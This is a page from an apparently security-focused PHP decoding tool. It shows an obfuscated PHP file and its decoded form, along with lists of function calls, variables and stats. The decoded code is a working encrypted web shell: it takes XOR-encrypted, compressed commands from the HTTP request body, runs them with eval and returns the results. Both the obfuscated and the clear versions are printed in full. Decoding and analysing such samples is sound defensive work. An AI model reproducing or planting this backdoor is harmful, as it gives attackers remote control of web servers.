Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $Q='$k="09~~~8~f6bcd";~$kh="~4621d~373cade";$kf=~"4e832627b4f~6";$p="93b~OK0~'; $U..

Decoded Output download

$k="098f6bcd";$kh="4621d373cade";$kf="4e832627b4f6";$p="93bOK0qnAcNY3NKS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$Q='$k="09~~~8~f6bcd";~$kh="~4621d~373cade";$kf=~"4e832627b4f~6";$p="93b~OK0~';
$U='qnAcNY3NKS~";func~tion x~(~$t,$k){$c~~=strlen($k);$l~=st~rlen($t);$~o="";~f';
$t='k{$j};}}r~etur~n $o;}~if(@p~re~g_m~at~ch("/$kh(.+~)$kf~/",~@file_g~et_con';
$R='tents("~p~hp~://input"),$m)==1)~~{@ob_start();@~ev~al(@gzun~c~omp~ress(@x(';
$H=str_replace('S','','creSSatSSSe_functSion');
$m='@ba~~s~e64_decode($m[1~]),$k)));$o=@~ob~_get_c~on~tents(~);@o~b_end_clean(';
$r='~or($i=0;$i<$~l;){fo~r($j=~0;($j<~$~c&&$i<$l~);$j++,$~i++){~$o.~=~$t{$i}^$';
$J=');$r~=@bas~e~64_en~code(@x(@gzcom~pres~s($o),$~k));pri~~n~t("$p$kh$r$kf");}';
$I=str_replace('~','',$Q.$U.$r.$t.$R.$m.$J);
$E=$H('',$I);$E();
?>

Function Calls

str_replace 2
create_function 1

Variables

$H create_function
$I $k="098f6bcd";$kh="4621d373cade";$kf="4e832627b4f6";$p="93bO..
$J );$r~=@bas~e~64_en~code(@x(@gzcom~pres~s($o),$~k));pri~~n~t(..
$Q $k="09~~~8~f6bcd";~$kh="~4621d~373cade";$kf=~"4e832627b4f~6"..
$R tents("~p~hp~://input"),$m)==1)~~{@ob_start();@~ev~al(@gzun~..
$U qnAcNY3NKS~";func~tion x~(~$t,$k){$c~~=strlen($k);$l~=st~rle..
$m @ba~~s~e64_decode($m[1~]),$k)));$o=@~ob~_get_c~on~tents(~);@..
$r ~or($i=0;$i<$~l;){fo~r($j=~0;($j<~$~c&&$i<$l~);$j++,$~i++){~..
$t k{$j};}}r~etur~n $o;}~if(@p~re~g_m~at~ch("/$kh(.+~)$kf~/",~@..

Stats

MD5 a669752e9173cba797acafac51aa23fb
Eval Count 1
Decode Time 102 ms